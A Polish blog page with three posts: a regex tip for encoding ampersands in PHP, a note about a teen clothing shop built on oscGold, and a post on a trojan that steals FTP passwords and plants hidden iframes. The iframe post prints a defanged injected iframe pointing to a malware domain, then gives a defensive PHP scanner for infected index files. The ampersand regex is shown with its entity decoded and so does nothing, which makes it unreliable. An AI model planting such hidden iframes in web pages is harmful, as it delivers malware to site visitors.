jak sprytnie zamienić & na & amp;?

Zdarza się, że w tekstach jakie przygotowujemy do wyświetlania na stronach WWW część tzw. entycji jest już zakodowana poprawnie, a część nie. Mnie zdarzyło się tak ze znaczkiem &, który normalnie powinien w XMLu i XHTMLu być kodowany jako & Niektóre ampersandy były zakodowane, ale większość pozostała w formie “wizualnej”, czyli jednego znaku. Parser XMLa tego nie lubi. Ja nie lubię dłubania. Lubię za to wyrażenia regularne, więc takim oto krótkim poleceniem zamieniam wszystkie nieprawidłowo zakodowane ‘&’ na prawidłowe ‘&’, pozostawiając bez zmian te dobrze zapisane:

$tekst = preg_replace('/&(?!amp;)/', '&', $tekst);

W wyrażeniu regularnym użyłem przewidywania czyli poprosiłem o takie pasujące fragmenty, po których nie następuje ciąg “amp;”. Proste.

Przy okazji okazało się, że wordpress ma problem z zapisaniem & w tytule posta… :)

Nikita Chickita

A także Electric, Etnies, Les Ettes, Nixon, Rusty, Sheroll, Vans, Vestal i inne… Właśnie przechodzę szybką edukację w dziedzinie marek odzieżowych dla nastolatek, a to dzięki sklepowi chickitashop.com, który pomagam ustawić w odpowiednim miejscu internetu :) Prowadzi go moja Kuzynka, więc pewni politycy nazwaliby to układem. Ale fajnie jest zająć się zupełnie inną branżą i poobserwować — całkiem imponujący — ruch na stronie.

Strona główna sklepu z odzieżą dla nastolatek, chickitashop.com

Strona główna sklepu z odzieżą dla nastolatek, chickitashop.com

W tej chwili sklep bazuje na opensourcowym oscGold, czyli polskiej adaptacji osCommerce. Jednak pomimo że to ogromny projekt i faktycznie pozwala dość prostymi środkami uruchomić i prowadzić sprzedaż, to czytelność kodu i jego styl przypominają mi własne produkty… sprzed pięciu lat. Domyślam się, że refaktoryzacja tak dużego przedsięwzięcia to niełatwa rzecz i pewnie dlatego pełno tu stałych i zmiennych globalnych, dziesiątek ‘includowanych’ plików, mieszania layoutu i logiki. Kusi, żeby zrobić wszystko od nowa…

Kod jednej z podstron

Kod jednej z podstron

iframe hack, czyli włamanie na FTP

Amerykańska armia testuje automatycznych żołnierzy, mając wciąż skrupuły co do bezpieczeństwa i moralności użycia takiej broni. W Internecie sztuczne wojsko działa już dawno. Trojan, po zainfekowaniu komputera, wykrada hasła do kont FTP z popularnych programów, takich jak Total Commander, czy Filezilla. Następnie wysyła je gdzieś na serwer bandycki, a stamtąd uruchamiane jest włamanie i edycja plików. Polega ona na dość prostym doklejeniu kodu do stron na FTP, który w niezauważalny dla użytkownika sposób ściąga z innej złoczynnej witryny szkodliwe oprogramowanie.

Również niniejsza strona i nasza główna — ntxt.net, zostały, jak mówią Amerykanie, skompromitowane. Piątego kwietnia we wszystkich plikach PHP i HTML o nazwach zaczynających się na ‘index’ pojawił się taki kawałek (dodałem gwiazdkę przed http):

<iframe src="*http://lotante.cn/in.cgi?income38"
width=1 height=1 style="visibility: hidden"></iframe>

Konkretny adres bywa różny, lista podejrzanych domen jest spora. Ten akurat podobno (bo nie sprawdzałem!) sprawdza obecność pluginu Flash luub Acrobat Readera, po czym ściąga spreparowany plik PDF albo SWF. Moim zdaniem warto mieć wyłączony domyślnie JavaScript, (w Firefoksie np. rozszerzeniem NoScript). Infekcja może spowodować że Google będzie sygnalizować zagrożenie przy wchodzeniu na stronę (jeśli ktoś to zgłosi, oczywiście). Oprócz pozbycia się robactwa z komputera, należy koniecznie zmienić hasło do FTP, unikając zapamiętywania go przez program. Total Commander w najnowszej wersji (7.5 beta) ma już ochronę haseł szyfrowaniem i hasłem głównym.

Trzeba też odnaleźć wszystkie zmiany poczynione przez bota na FTP, a to żmudne zajęcie. Odrobinę może pomóc taki skrypt w PHP, przeczesujący pliki zawierające ‘index’ w nazwie i sygnalizujący wystąpienia taga <iframe>. Aby z neigo skorzystać, trzeba zapisać go np. pod nazwą znajdziframe.php w katalogu ze stroną, ustawiając wcześniej zmienną $root na odpowiednią dla swojego serwera. Potem, z przeglądarki, wywołujemy go wpisując adres: http://mojserwer/znajdziframe.php?depth=10 i czekamy na listę podejrzanych (bo nie każdy iframe jest zły!). Parametr depth określa głębokość, na jaką w podkatalogi zagłębi się sprawdzacz licząc od katalogu głównego.

< ?
// katalog główny strony
$root = '/public_html';
 
// głębokość sprawdzania w podkatalogach
$depth = empty($_GET['depth']) ? 5 : $_GET['depth'];
 
// uruchomienie
digdir($root, $depth);
 
// rekurencyjna funkcja sprawdzająca
function digdir($dir, $level){
	if($level <= 0) return false;
	$handle = opendir($dir);
		while($plik = readdir($handle)){
			$path = "$dir/$plik";
			if(substr($plik, 0, 1)!="."){
				//$data = date("Y-m-d", filemtime($path));
				//$prawa = decoct(fileperms($path));
 
				if(!is_dir($path)){
					//$rozmiar = filesize($path);
					if(preg_match('/index/', $plik)){
						$contents = file_get_contents($path);
						if(preg_match('/iframe/', $contents)) echo "znaleziono iframe w $path<br/>";
					}
				} else {
					digdir($path, $level - 1);
				}			
			}
		}
	closedir($handle);	
}
 
?>

« Previous PageNext Page »